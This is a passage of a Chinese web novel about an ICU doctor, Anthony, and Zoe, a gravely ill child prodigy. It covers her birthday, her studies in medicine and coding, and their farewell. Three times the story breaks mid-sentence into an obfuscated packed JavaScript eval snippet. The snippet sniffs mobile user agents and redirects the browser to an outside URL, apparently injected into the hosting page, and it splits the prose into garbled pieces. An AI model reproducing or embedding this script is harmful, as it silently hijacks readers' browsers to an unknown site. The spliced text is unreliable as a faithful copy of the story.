佐伊拿起来看了看,翻过来,倒过去。然后她笑了一下。不是那种客气的、礼貌的笑,是真的觉得好玩的那种笑。 “它长得好像我。”她说。 安东尼看着她。那南瓜骷髅的表情,又冷静又可爱,的确和她有点像。 “是有点像。”他说。 佐伊把南瓜骷髅放在枕头边,又把自己埋回厚厚的毯子里,裹起来,显然还有点畏寒。 “帮我调一下床头,我想靠会儿。” 安东尼站起来,把床头摇起来二十五度,让她斜靠着舒服点。 她又整理了一下毯子,把自己裹好,然后侧过身,看着安东尼。 “你坐。”她眼神盯着安东尼看。 安东尼又坐下了。 房间里安静了一会儿。监护仪滴滴地响着,湿化瓶咕嘟咕嘟地冒着气泡。窗外的天彻底黑了,小夜灯的光照出两个人的轮廓。 “几天了?”安东尼问。 “四天。”佐伊说,“你走那天晚上开始的。” “怎么不告诉我?” 佐伊想了想,没说话。 安东尼看着她,等了一会儿,没等到答案。 然后他说:“下次生病,要告诉我。” 佐伊眨了眨眼,看着他。 “好。”她说。 “饿吗?”安东尼问。 “不想吃。吃了就咳嗽,咳厉害了就都吐了。”佐伊往毯子里缩了缩。声音哑的,精神也不好。 安东尼点点头,站起来,走到床头,看了看那袋液体。还有大半袋,抗生素,估计要滴到后半夜。他又看了看监护仪上的数字,血氧98,心率108,呼吸21。 “睡吧。”他说,“我坐一会儿。” 佐伊看着他,嘴唇动了动,像是想说什么。 “怎么了?” “你今天轮休。”她说,“你应该在家休息。” 安东尼愣了一下。她怎么知道他今天轮休?然后他想起,她手里有他的查房安排表。她把他的排班背下来了。 “我休息好了。”他说,“睡吧。” 佐伊又看了他一眼,然后闭上眼睛。 过了一会儿,她的呼吸慢慢平稳下来,睡着了。 安东尼坐在那儿,看着她。小夜灯的光照在她脸上,把那个南瓜骷髅的影子投在枕头上,两个影子有点儿像。 他坐了很久。 10. little prince 2005年11月。 这次肺炎,佐伊躺了一整周,又花了两周慢慢恢复,才回到了生病前的作息。因此,她的八岁生日,是在疗养院房间里过的。 安东尼此前探望时,发现她很喜欢那个南瓜骷髅,本来考虑请假带她去农场玩一天,但看她这缓慢的恢复节奏和精神状态,就放弃了,甚至提都没敢提自己脑子里的这个设想。 至于查尔斯,这个号称“个人很重视这个病例”的大老板,远在澳洲谈煤炭交易,腾不出时间,没来。但他勉强记得用MSN打了个视频电话过来,又拜托了疗养院这边定了个蛋糕作为庆祝。 那天安东尼在值班,佐伊发短信给他,说蛋糕有点大,请他去吃。安东尼处理好病人,洗过手,交了班,看见来自佐伊的未读短信,回了个电话直接问:请我吃蛋糕?多大一只?” 佐伊在电话那头有点不好意思的笑了笑,声音里还带着点咳痰的动静,“你的巴掌大。疗养院本来想给我安排个六寸的。我申请了个更小的。” “你不是很爱吃甜食么?蓝莓派你可以自己吃一整个,这么小一个蛋糕,你全部自己吃也就几口。”安东尼在更衣室一边换衣服一边打电话,神情里带着自己都没意识到的笑意。 “奶油不行,我吃了就不舒服。所有含植脂末的东西都没法多吃。”小家伙一本正经得说,言语藏着很隐约的期待,“所以,你来吗?” “你不说我也会来的。一会儿见。”安东尼挂了电话。 在这孩子病了一场之后,安东尼总算把她的手机号存进了自己的通讯录。而佐伊的手机,则勉为其难的存下了安东尼的生活手机号,以及工作手机号。 佐伊这一年,几乎都只通过邮件预约安东尼的时间,所有“讲座”和“查房”之外的碰面都属于偶遇。佐伊独立惯了,她不想“入侵”安东尼的生活空间,贸然因为“私事”打电话这种行为,在她的处事原则中属于打扰与冒犯。 “那我可以给你打电话吗?”安东尼用佐伊当时问他可不可以发邮件问问题的句式反问。 “可以。我空着。”佐伊点点头。 “那你也可以给我打电话,在你需要的时候。比如生病的时候。”安东尼说,“外交对等。” “不行。”佐伊被安东尼的用词逗笑了一下,“我闲着,没有哪里需要我去,但是你不一样。你有工作,有那一堆病人,以及应得的假期。” 安东尼深吸了一口气,把自己家人会不顾自己休息时间随时打电话沟通生活琐事的问题都透露给了佐伊,试图用从小到大无时不刻被“盯着”的情况告诉佐伊,偶尔给他打个电话这件事很正常,没关系,“你完全可以打电话,没问题。” 但是佐伊皱了皱眉,“可是,那是你的边界。或许你的家人没有尊重你的意愿,但那是你的家人的问题。我必须尊重。” 安东尼被这套逻辑辩驳的无话可说,只得被迫把自己的合同条款拿出来,和这个小家伙好好谈了谈关于“照顾”的具体定义,包括并不仅限于预约复查,解读体检报告,提供日常生活健康指导等……她这才同意了“生病必须告诉安东尼”这件事。 “如果你不告诉我,我想我违约了。”安东尼很认真的看着她。佐伊显然觉得这事情好像不太对,但是没找到具体的可以反驳的抓手,这才没继续坚持。 但是,佐伊最后皱着眉与安东尼约法三章:我不会随便给你打电话的,万一耽误你接科室电话怎么办?你在抢救的时候也没时间接电话,我会影响你,也会影响你的病人。所以,我给你发消息。 安东尼答应了,“可以。我看到了会回消息。” 就这样。两个人才总算建立起了即时通讯的联系。 —— 八点半,天黑透了,云层也很厚,看不见星星。安东尼走得很快,不是因为别的,是因为室外太冷了。他在路上想着,下次要跟着小家伙走一次从停车场到办公区的路,这样就不用在户外吹十分钟的冷风。 安东尼敲门进去的时候,佐伊正背对着房间门在看电脑。面前的窗户像镜子,倒影着她的影子,面孔被显示屏的光线照亮了一些。在黑黑的玻璃上留下了一个模模糊糊的反光。房间里很冷静——书,电脑,打印出来的文件,笔记本,便利贴。安东尼知道,那群规培生会在宿舍和休息室里放解压的毛绒玩具,摆件,手办,贴满明星海报。而这里,冷静得像个大学教授的工作室。这个大约总是在医疗环境里长大的孩子已经习惯了,不在自己身边留下任何难以消毒的东西。 “晚上好。little Prince.”安东尼半开玩笑的打了个招呼,“生日快乐。” 佐伊回了回头,听到熟悉的声音,明显高兴了些,保存了自己正在敲的东西,把电脑阖上了。 “晚上好。”她笑得有点腼腆,“蛋糕在床头柜上。” 安东尼走过去,看了一眼那个蛋糕。确实只有巴掌大,白奶油上面用巧克力写着“8”,旁边放着一根蜡烛。蛋糕边上放着两副纸盘和叉子,还有一把切蛋糕的塑料刀。 “我们点蜡烛?”他问。 “不了,点了还得吹。”佐伊很平静得说,“我吹完了大概得咳嗽半天。” 安东尼点点头,在床边坐下来。佐伊往边上上挪了挪,给他腾出点地方。 他拿起那把塑料刀,把蛋糕切成两半。一半放到纸盘里,递给佐伊,另一半放到另一个盘里,留给自己。 佐伊接过来,低头看了看,然后拿起叉子,切了一小块,送进嘴里。 安东尼看着她吃。她吃得很慢,一小口一小口的,像是在品什么很珍贵的东西。 “好吃吗?” “嗯。”佐伊点点头,“巧克力味的。疗养院的人问我想吃什么味的,我说随便。他们就定了这个。” 安东尼也吃了一口。就是普通的奶油蛋糕,超市里9.9磅一个的那种,不算好吃,也不算难吃。奶油沾了一点在嘴角,他自己没发现。 房间里安静了一会儿。只有窗外偶尔传来的风声,和监护仪低低的待机声——它没开,只是插着电。 “查尔斯今天打电话了。”佐伊吃着吃着,忽然说。 “嗯?” “用MSN打的视频。”她说,“他在澳洲,那边现在是凌晨,他刚从谈判桌上下来,累的眼睛都红了。” 安东尼没说话,等着她继续。 “他说等回来给我补礼物。”佐伊又吃了一口蛋糕,“我说不用,蛋糕就够了。” 安东尼捧着自己的纸盘,看着佐伊吃东西,她低着头,专注地对付那块蛋糕,看不出来在想什么。 蛋糕吃完了。安东尼把外套内插袋里的礼物包拿出来,蓝色条纹的包装纸,包着一本书,“生日快乐。” 佐伊眼睛明显亮了亮,没有伸手接,“可是你已经送过了。” “什么?” “那个南瓜。小骷髅。”佐伊指了指窗台。那个橘色的小东西被彻底风干了。干巴巴的,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401652|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点皱,表情看起来又冷静又可爱的。显然是陪着她看书的玩具——也是这整个房间里,唯一看起来孩子气的东西。 安东尼愣了愣,把礼物塞进佐伊手里,“只是…一个小礼物…” “嗯,是你特地送我的。”佐伊抽了一张纸巾,递给安东尼,指了指自己的嘴角,示意他擦一下,“奶油。” 安东尼接过来擦了擦,“拆开看看?” 佐伊拆开包装,“小王子?” “嗯,little prince.” 《小王子》绘本,精装,封面上画着一个小人站在星球上。佐伊愣了一下,把书拿出来,翻过来,倒过去,看了看封面,又看了看封底。 “这是什么?” “故事书。”安东尼说,“你没看过吧?” 佐伊摇摇头,“以前在…之前那个疗养院的时候,有老师读过,但是我已经记不清了。” “讲一个小王子,从他的星球出发,去各个星球旅行。”安东尼说,“里面有一句话,我记了很久。” 佐伊抬起头,看着他。 “什么话?” 安东尼想了想,“‘It is the time you have wasted for your rose that makes your rose so important.’你在你的玫瑰花身上耗费的时间,使得你的玫瑰花变得如此重要。” 佐伊低头看着那本书,“你为什么对我这么好?” 这个问题来得太突然,他一时不知道该怎么回答。因为查尔斯?因为合同?因为那个“一直帮忙看着”的附加条件?因为他是医生,这是他的工作? 他看着对面的孩子。她垂着视线,仿佛认认真真看着书籍的装帧——这是故意没看他——好像这本精装书的封底是一个值得研究的课题。 “因为你是我管的病人。”他说。 佐伊抬起头,一脸“你在哄我”的表情,“还有呢?” 安东尼想了想。 “因为你很厉害。”他说,“你比我见过的很多成年人都努力。你学那些东西,记那些笔记,问那些问题——你做这些的时候,我看着,觉得应该帮你。” 佐伊没表态,但嘴角微笑了一下,这会儿,像一个在讨大人表扬的小孩子,“还有吗?” 安东尼笑了。 “还有,”他说,“因为你是我来伦敦以后,第一个让我觉得,来这里没选错的人。” 她把书抱在怀里,仰起头,看着安东尼。 “谢谢你。”她说,“我会看的。” “嗯,我该走了,明天要换早班。”安东尼站起来,顺手揉了揉佐伊的脑袋,“别看太晚,早点休息。” 那天晚上,安东尼回到公寓,洗漱完躺在床上,手机震了一下。 他拿起来看。 佐伊的短信: “我开始看了。那个玫瑰,是他星球上唯一的那朵吗?” 他回: “是。这也是他离开之后才明白的。” 发完他把手机放在床头柜上,闭上眼睛。 过了一会儿,手机又震了一下。 “那朵玫瑰,后来怎么样了?” 他看着那行字,想了想,然后回: “你看完就知道了。晚安。” “晚安。” 他把手机扣在床头柜上,翻了个身。 窗外,伦敦的夜还是黑的。 11. 系统思维 日子过得很快,寒来暑往又是三四年,佐伊在十二岁头上突然窜了窜个子,现在,她站在护士站的洗手台边上洗手时,已经用不着用脚凳垫着脚了。她自己也发现了这件事,某一天,她洗完了手还对着镜子比了比,回头看了安东尼一眼,眼睛里有一点孩子气的得意。 “我长高了。”她说。 “看见了。”安东尼笑着说,“多吃点。” 但她还是那个和安东尼“绑定”的小尾巴,经常和他一起出现在查房的队伍里。简单扎了个马尾辫的小脑袋,勉强和安东尼的肩膀一般高,查房的时候,常常歪过头看他手里的记录本,安东尼就侧着本子迁就她。那个姿势已经成了病房里的固定风景,护士们看见了会笑,因为可爱,住院医们看见了会叹气,因为压力山大。 查尔斯显然知道她这几年学的很快。安东尼不知道佐伊是怎么与查尔斯谈的,她没有回归正统教育体系,但据说有私人教师在教她医学之外的东西——听说还有个教编程的jotish收了她。jotish是Beacon首席架构师,快退休了,脾气古怪的老头子,但早就已经和她接上了头,佐伊周二周五两个下午,雷打不动溜达着去隔壁总部上两个半天的课,剩下的时间,就躲在自己的房间里看书。 此外,她自己跟安东尼说,一些她感兴趣的人文类的讲座也会去听,一问听课地点,在牛津的“人文社科走廊”,那边的场地几乎被ISCA包圆了,还紧挨着皮特河博物馆。安东尼笑着说,在体质人类学之外佐伊还进军了文化人类学。佐伊歪了歪头,坦然而诚恳得说——我只是想知道人类这个群体是什么。这句话和八岁时候那个——我想知道自己身上发生了什么——句式一模一样。 那位神龙见首不见尾的大老板近乎纵容的给了这个孩子最高级别的授权,别的地方不知道,但在Beacon care ,Z.Prince.这个账号可以查阅所有病例,看整个院区建院至今的所有的档案。 安东尼第一次发现这件事,是有天他在办公室值班,调一个陈年旧案,系统提示“该病例正在被查阅”。他以为是哪个住院医在写论文,点开一看,访问者是Z.Prince。 他愣了一下,然后发消息问她:“你在看病例?” 回复很快来了:“去年的一个感染性休克病例,用药方案和你今年的不太一样,我在对比。” 他看了看那个病例的归档日期,又看了看屏幕上的时间。凌晨一点。 “……早点睡。” “嗯嗯。” 他没再说什么。但那天晚上他多看了两眼手机,确认没有新的消息弹出来。 不过,就算在医学这个门类本身上,佐伊也不是规培轮科的那种学法,规培生是一个科一个科地轮,每个科呆几个月,学一点,走了,下一个科再学一点。她不是。 她是一股脑儿的“这些我全都要”的模式。 安东尼去哪儿,她就跟在后面去哪儿。周一心内心外,周二神内神外,周三消化内分泌,周四肾内泌尿…每天早上七点半到九点,周一到周五,值班表排得整整齐齐。安东尼值班或者守病人走不开的时候,她就自己按照大查房的时间表,到指定科的护士台集合。安安静静地站在队伍最后面,手里拿着一个拍纸本,手机里存着科室病例的电子档,像一只混进羊群的小白兔。 心内的老主任几个月前返聘回来了。第一次见她的时候,以为是谁家的孩子走错了地方,笑着说“小朋友,这里不是玩耍的地方”。佐伊抬起头,认真地看着他,说:“我是来学习的。”老主任被她那副一本正经的样子逗笑了,随口问了一个心衰分级的问题,想着把她打发走。 佐伊答了。不仅答了,还把NYHA分级和ACC/AHA分期的对应关系、各自的局限性、以及最新的指南更新一起说了。 老主任的笑容凝固在脸上。 那天下午,佐伊的邮箱里多了一份课件。佐伊认认真真回复了一篇查房记录。 一群主任早就被她混熟了,有的主任听了这孩子的提问后给她留邮箱; 有的主任会在查房的时候直接点名:来,佐伊你来说; 还有些,比如心外的麦克斯,简直把她捧在手心里,自己的讲座,论文,课题,几乎毫无保留的往她手上丢副本,只要这孩子出现在视线里,保准还会再往她手里塞一包零食。 仅仅四五年功夫,这孩子把规培生上五年课规培三年实习三年的书一起刷完了,不是一本一本地读,是一摞一摞地吞。还学的比他们都完整,都深。 病理生理学、内科学、外科学、儿科学……每本书都被她翻得起了毛边,书页间夹满了便利贴,拖出来一大堆,活像一个扫把。 安东尼有一次在她的房间里看到那摞书,随手翻了一本,发现她在书页空白处写满了批注。不是那种学生式的“这个很重要”,“画重点”“要背”,而是“这个机制和XX系统里的反馈回路很像”“如果把这个参数调高会怎样”“为什么指南推荐A而不是B”——她是真正在和书对话。 他把书合上,放回去。然后站在那里,看着那摞书,沉默了很久。 佐伊学习能力导致的直接后果就是,规培们都学会了绕着这个孩子走,尤其是心内心外和ICU的。他们每天都在祈祷不要在查房的时候碰见“那个穿白卫衣的小孩”。因为这孩子的知识储备和临床思维已经到了让主任们觉得“语不惊人死不休”的地步。 “为什么这个病人用了速尿还是肿?”心内教学查房,主任提问的时候,规培一片死寂,看天看地看病历,就是不看病人和主任。 老主任扫视了一圈,看着那个跟在安东尼身边的小孩眼神亮亮的看着他,毫不胆怯的样子,就点了她:“佐伊,你说。” “嗯。他的白蛋白是不是太低了?呋塞米要和白蛋白结合才能运到作用位点。” “对,查一下白蛋白。”主任很欣慰。 至于规培生们的表情——那种“我这些年到底学了什么”的困惑,写在他们每一个人脸上。 当时待在边上的安东尼都跟着一起愣住了。他知道她聪明,知道她学得快,但这个问题的切入点,不是“聪明”能解释的。这是把药理学的机制和临床问题连在一起的能力——很多主治都不一定有这种思维。 后来他才知道,这孩子没事干的时候,顺便把药理学书翻烂了…药理学,是她最擅长也最在意的。她七八岁还在住院的时候,第一个和她建立学术联系的人,就是做药研的。她没提过,也没拿任何药学的东西麻烦过安东尼,她心里的界限很清楚,哪儿来的问题丢给谁。 在那段疯狂学习的时间,佐伊隔三差五会出现在安东尼的办公室里。 不是那种“有事来找”的出现,是那种“我就在这里呆着”的出现。她会熟门熟路地推门进来,然后打开自己的笔记本电脑,开始敲东西。 他写病程,她看论文。有时候她会安静得像一只猫,蜷在沙发角落里,只有手指在键盘上轻轻敲击的声音。有时候她会皱着眉盯着屏幕,嘴里含着的棒棒糖从左边腮帮子滚到右边腮帮子,像是在和屏幕里的什么东西打架。 有一次安东尼实在忍不住好奇,探过头去看了一眼她的屏幕。 满屏的代码,还有一些他看不懂的图表。线条和节点连成一张网,密密麻麻的,像某种他见过但又说不上来的东西。 “你在看什么?”他问。 “神经网络模型。”佐伊皱着眉,没停下敲键盘的手,“我在训练一个分类器,用来预测脓毒症的早期。但目前的准确率还差得远,可能特征工程没做好。” 安东尼沉默了两秒。他想起自己当年在新加坡写论文的时候,用的是office和SPSS。这个十二岁刚过完生日的孩子,在训练神经网络。 “你写的?” “嗯。jotish上个月讲的,我试试看能不能用在医学数据上。” 安东尼没再多问。他不清楚查尔斯提供的教育是个什么结构,心里想着,也许这种阶级的教育模式就是他们这种普通家庭出身、普通医学正统教育培训出来的人没法理解的。 佐伊也不仅仅光写自己的东西,有时候她写着写着,会突然抬头说一句:“安东尼,你刚刚那个病人的抗生素疗程是不是太长了?再上三天大概就够转走了,用不了五天。” 安东尼侧头看着自己刚敲完的医嘱,默默改了。 第三天,那个病人果然如期转出ICU。安东尼不当班,但他看着转出记录,想了一会儿,给她发了一条消息:“你是怎么看出来的。” 回复很快:“抗生素那个?他的感染指标已经连续三天在正常范围了,体温正常,CRP下降趋势明显,PCT也在0.1以下。按照药代动力学,再上三天足够清除残余病原体。你没错,五天是常规方案,但他不是常规病人。” 安东尼看着那行字,忽然觉得,自己这个主任,好像是个被查房的学生。 佐伊经常盯着Beacon的后台,没有其他操作,只是在看的医嘱和病例的对应关系——别人闲着没事刷社交平台,她闲着没事刷病例后台。 她在通过主任的医嘱学习——不是那种“看一个记一个”的学法,是那种“看一百个,然后归纳出一个规律”的学法。 安东尼有一次路过她身后,发现她同时在对比三个不同科室的抗生素使用方案。屏幕上开了七八个窗口,像章鱼的触手一样铺开,每个窗口里都是不同的病例。 “你在干什么?”他问。 “我在看不同科室对耐药菌的处理策略。”她说,“心外的方案和ICU的不太一样,我想知道为什么。” “结论呢?” “心外的病人术后感染风险高,他们更倾向于覆盖更广谱的抗生素。ICU的病人情况更复杂,需要个体化调整。”她顿了顿,“但有些主任的方案明显比另一些好。我在想,能不能把这些经验量化。” 安东尼站在她身后,看着她屏幕上的那些窗口、数据、曲线,忽然想起四五年前,她在拍纸本上手写的字。那时候她写的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401653|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我的医生会做这个,所以我活着”。 现在她在写“能不能把这些经验量化”。 他不知道该觉得欣慰,还是觉得害怕。 有一回,安东尼遇到一个特别棘手的病例——一个多器官衰竭的病人,电解质乱成一锅粥。他按照常规方案调了两天,指标纹丝不动。他坐在办公室里对着化验单发愁。佐伊刚好进来,抱着自己的笔记本,熟门熟路的电源一插,沙发上一窝,从安东尼桌上的糖罐子里挑一个棒棒糖(查尔斯听说了这个糖罐子的事情之后,又特地往上调了调安东尼的伙食津贴,好像佐伊能吃穷安东尼似的),拆了包装往嘴里一塞,选了个最舒服的角度,一边看资料一边晒太阳。 “怎么了?你脸色不好。”见安东尼迟迟不开口,佐伊就主动问了一句。说话的时候,棒棒糖还拿在手里。 安东尼把化验单递给她:“血钠126,血钾6.8,血钙1.9,补了一个晚上,越补越乱。” 佐伊接过去看了三十秒,神色逐渐认真起来,从随便看看,变成了“这有意思”。她把化验单还给安东尼,“三床对吧。” 她没等他回答,直接切了个界面,去Beacon care的后台,把病史一拉。屏幕上的窗口一个接一个地打开,她的手指在键盘上飞快地敲击,像是在弹一首她练了很多遍的曲子。 “你补钠用的是高渗盐水对吧?” “对。” “补钾用的是静脉泵?” “对。” 她盯着屏幕看了一会儿,眉头皱了皱。 “你试试把补钠的速度放慢一半,”她说,“补钾暂停六个小时。同时查一下皮质醇和ACTH。” 佐伊顿了顿,像是在组织语言,然后用一种很确定的语气说:“我怀疑是肾上腺皮质功能不全。你现在的方案在掩盖病因。” 安东尼看着她。她的表情很认真,不是那种“我猜的”的认真,是那种“我推演过了”的认真。 他想了想,觉得她说的有道理。 “行。” 那天晚上他照做了。补钠的速度放慢了一半,补钾暂停,加查了皮质醇和ACTH。 第二天,病人的电解质开始回归正常。不是那种“勉强好了一点”的正常,是那种“真的在往好的方向走”的正常。血钠从126升到131,血钾从6.8降到5.2,血钙从1.9升到2.1。每一个数字都在告诉他:方向对了。 一周后,确诊为原发性肾上腺皮质功能减退。 安东尼那天晚上坐在办公室里,看着佐伊发给他的那条消息—— “怎么样,我说对了吧。” 消息后面跟着一只猫的表情,和那天那只点头的猫不一样,这只猫在笑,眯着眼睛,看起来很得意。 他看着那行字,忽然意识到一件事。 这个孩子,比他想象的要厉害得多。 不止是厉害。是她看问题的角度,和他完全不一样。 他是医生——他从临床路径和经验出发,按照指南、按照常规、按照“以前都是这么做的”来调整方案。她是工程师——她直接从病理生理和药理学原理出发,推演病因,然后倒推解决方案。她像一台活的文献检索机,又像一台精准的逻辑推导仪。那些他需要花很多年积累的经验,她直接用原理推出来了。 他放下手机,靠在椅背上,看着天花板。 天花板是白的,但他在那一片空白里,看到了很多东西——那些年他在ICU里熬过的夜,那些他救回来的和没救回来的病人,那些他以为只有时间才能教会他的东西。 而一个十岁的孩子,用三四年,就学会了。 不是学会。是超越。 他不知道自己应该觉得挫败,还是应该觉得骄傲。 最后他选了骄傲。 从那以后,他就开始习惯在拿不准的时候问一下佐伊的意见。不是那种“考考你”的问法,是真的在问——在某个棘手的病例面前,在某个他犹豫不决的AB两套治疗方案面前,在某个他觉得自己可能漏掉了什么的深夜。 她会认真看,认真想,然后给他一个答案。有时候那个答案是对的,有时候需要调整,但每一次,她都能给他一个新的角度——一个他从没想过的角度。 有一次他问:“你怎么什么都知道?” 她想了想,说:“不是我什么都知道。是我看问题的方式和你不一样。你是从经验里学,我是从原理里推。” 她顿了顿,又说:“但你的经验比我多。所以很多时候,你的直觉比我的推导好用。” 他看着她说这话的样子——很认真,不是谦虚,是真的在分析两个人的差异。 “你这是在安慰我?”他问。 她愣了一下,然后笑了。“不是。我是在说事实。” 他看着她笑,忽然想起很多年前,她在ICU的病床上,嘴唇没有颜色,手指蜷在他掌心里,像一只随时会飞走的鸟。 那只鸟没离开,但她已经学会了用自己的翅膀飞。 12. 暂别 那天中午,安东尼正准备交班。 他刚看完最后一个病人的化验单,在值班记录本上签了字,把笔帽扣上,准备去食堂。推开办公室的门,佐伊站在走廊里。 她什么都没带。没有笔记本电脑,没有那个永远鼓鼓囊囊的帆布包,没有拍纸本,没有棒棒糖。就一个人,两手空空地站在那儿,像一片不知怎么被风吹到门口的叶子。 安东尼愣了一下。他从来没见过她这个样子。神情有点……怎么说呢,不是难过,不是紧张,不是他见过的那无数次“思考中”的专注表情。是一种很深很深的平静。平静得让他觉得异常。 那种平静他见过——在ICU里,那些知道自九死一生的病人脸上,那些被告知“结果不太好”但还保持着体面的家属脸上。那是被理性和秩序强压下去的、底下翻涌着什么的平静。 “怎么了?”他侧身让她进来,从办公桌抽屉里摸了一块巧克力。 查尔斯补货的那批,瑞士的,可可和奶油夹心,佐伊平时爱吃。 佐伊顿了顿,伸手接了。她剥开锡纸的动作很慢,不像平时那样干脆利落。锡纸在她手里发出细碎的声响,她把巧克力塞进嘴里,开始嚼。 安东尼靠在桌边,没催她,等她吃完。 她嚼得很认真,像是在完成一件需要集中注意力的事情。巧克力在她嘴里慢慢融化,她的腮帮子动了几下,然后停了。她低下头,看着自己手里捏着的锡纸团。 “出什么事了。”安东尼问。不是疑问句,是陈述句。他太了解她了。 “嗯。”她顿了顿,“我可能要……离开一段时间。” 那孩子低着头,盯着手里的锡纸团,好像那上面刻着什么值得研究的东西。她的声音很平,但那个“可能”和“一段时间”之间,有一个几乎听不出来的停顿。 安东尼心里动了一下。 “去读书吗?”他问,尽量让声音听起来平常。 这个问题他早就想过。BeaconCare对于佐伊来说,充其量只是一把伞,撑着她不被雨淋着,但做不了她的船。她迟早要走的。他知道。从她第一次在他的办公室里打开笔记本电脑、开始敲那些他看不懂的代码的时候,他就知道。这个孩子不属于这里——也许不是Beacon,也绝不是疗养中心,更不是什么可以被框起来的地方。 “也不是。”佐伊抬起头,看着他,“去打个比赛,数学和编程的。出去几周。大概。” 安东尼没说话。她继续说,语速比平时快了一点,像是在赶时间把话说完。 “jotish帮我报的名。用假身份。”她说,“他觉得我可以用一个月干完一个研究生毕业设计级别的作业。他说我可以出去闯闯了,去见见世面。” 她复述jotish的话时,语气里带着一点她自己可能都没察觉的东西——不是骄傲,是一种被认可之后的踏实。 “在哪儿?” “费城。” “你一个人去?”安东尼听见自己的声音紧了一下。他的眉头皱起来,紧得能夹死苍蝇。不是生气,是那种“我要开始担心了”的条件反射。 “查尔斯说帮我安排个生活老师,到那边以后有司兼导。jotish,好像也去。”佐伊耸了耸肩,对生活上的事情显得不那么在意。她从小就这样——对自己的病情、对自己的治疗都记得清清楚楚,但一到吃饭、睡觉、穿衣服这些事,就随便得很。“就近医疗也联系了。他有资源。” 她说“他有资源”的时候,语气里带着一种奇怪的笃定。不是孩子对大人的依赖,是合作伙伴之间的信任。安东尼不知道查尔斯和她之间到底是怎么运作的,但他知道,那个男人在这件事上不会出任何差错。 “好。”安东尼说。 他站起来,走到她面前,伸出手揉了揉她的头。她的头发长着长着开始发灰,不是那种染出来的灰,是天然的、带着一点暖褐的灰色。小时候是深棕色的,不知道什么时候开始变了。他记得自己第一次注意到这个变化的时候,心里咯噔了一下,特地打电话去问查尔斯——查尔斯笑了笑说,不是生病,就是遗传,像妈妈。安东尼顿了顿,没问她妈妈是谁。 佐伊抬头看了看他,“我会想你的。” 安东尼微微笑了一下,想起来她刚刚从ICU里转出去的时候,他们在电梯里的那场对话。时间过得真快,这才几年?眼前这个十三岁的孩子,那么挣扎着活了下来。活的那么好,那么鲜活,整个人看起来像是年轻了一号的查尔斯——那种深刻疲惫与苍白背后透出来的果敢与肯定的气息,任她怎么藏也藏不住。安东尼有时候觉得,查尔斯养这个孩子的方式,像是在培养一个继承人。但他也从来没敢问过。有些事情,不问比问好。 “嗯,记得给我发消息。”他站在沙发边上,俯视着孩子的头顶。他的手还搭在她头上,能感觉到她的头发很软,和几年前一样软。 她伸出手,拉了拉他的袖子。 “嗯?” 佐伊突然往前一倾,一头埋进他的怀里。她的动作很快,快到安东尼没反应过来。这孩子的呼吸是乱的——她急促地换了几口气,像是在做一件需要鼓起全部勇气的事情。然后她没忍住,哭了。 没出太大声。只是眼泪不停地流。安东尼能感觉到自己胸口的白大褂很快湿了一小片,温热的,透过白大褂,里面的深绿色刷手服跟着洇湿出一个深色的区域。她整个人乖乖地靠在他怀里,一下一下地抽泣。 这是佐伊第一次在别人面前哭——从她有记忆以来——她一般都躲着人,自己偷偷哭。 安东尼愣了半秒。然后他伸出手,轻轻揽住她的背。带着她缓缓地在沙发上坐下,她的背很瘦,隔着卫衣能摸到肩胛骨的轮廓。 他没说话。她也什么都没说。 走廊里偶尔有护士走过的声音,有人在远处喊了一声什么,然后是一阵推车滚过地面的声响。办公室里的电子钟上数字稳稳得在跳,红的刺眼。窗外有阳光,十一月的阳光,薄薄的。 他的眼眶也红了。 安东尼不知道自己为什么会这样。他见过太多生离死别,见过太多家属在ICU门口哭得站不起来,见过太多病人在他面前闭上眼睛。他以为自己早就过了那个会跟着哭的年纪。 但此刻,一个十三岁的孩子在他怀里无声地哭,他的眼眶就红了。 不是因为舍不得这场别离——当然心里依然是舍不得的——而是因为他知道,这个孩子从来不在人前哭。她在ICU里躺了一个月,四次抢救,后来的肺炎,高热,还有写在病历本里的那场看起来轻飘飘的丢板和凶险的粒缺,还有无数次各种各样的小毛小病,她一次都没有在他面前哭过。她只是躺在那儿,看着天花板,等着。等着疼过去,等着烧退下去,等着下一次呼吸。 她把所有的眼泪都攒到了今天。 佐伊哭了很久。也可能不久。安东尼分不清了。他只记得她的呼吸从急促慢慢变平稳,又从平稳变成偶尔抽一下。她的眼泪把他的白大褂弄湿了一大片,他觉得那块湿的地方在发烫。 后来她动了动,从他怀里退出来。她没抬头,低着头用手背擦眼睛。擦了半天,眼睛还是红的,鼻头也是红的,脸颊上挂着没擦干净的泪痕。她整个人看起来很小。平时她坐在他办公室里看书、写代码的时候,安东尼经常忘了她只有十三岁。但此刻,她看起来就是一个十三岁的孩子——一个会哭、会舍不得、会害怕的孩子。 “对不起。”她说,声音哑哑的,鼻音很重,“弄脏了你的衣服。” 安东尼低头看了看自己的白大褂。胸口那一块深色的湿痕,形状像一个被揉皱的心。 “没事。”他说,“洗衣机洗得掉。” 她嗯了一声,没再说话。她坐在沙发上,两只手放在膝盖上,手指绞着卫衣的袖口。那个锡纸团还捏在她手心里,已经被攥成了一个实心的小球。 “几号走?”安东尼问。 “下周一。明后天要去办点事。收拾东西。查尔斯安排了司机送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 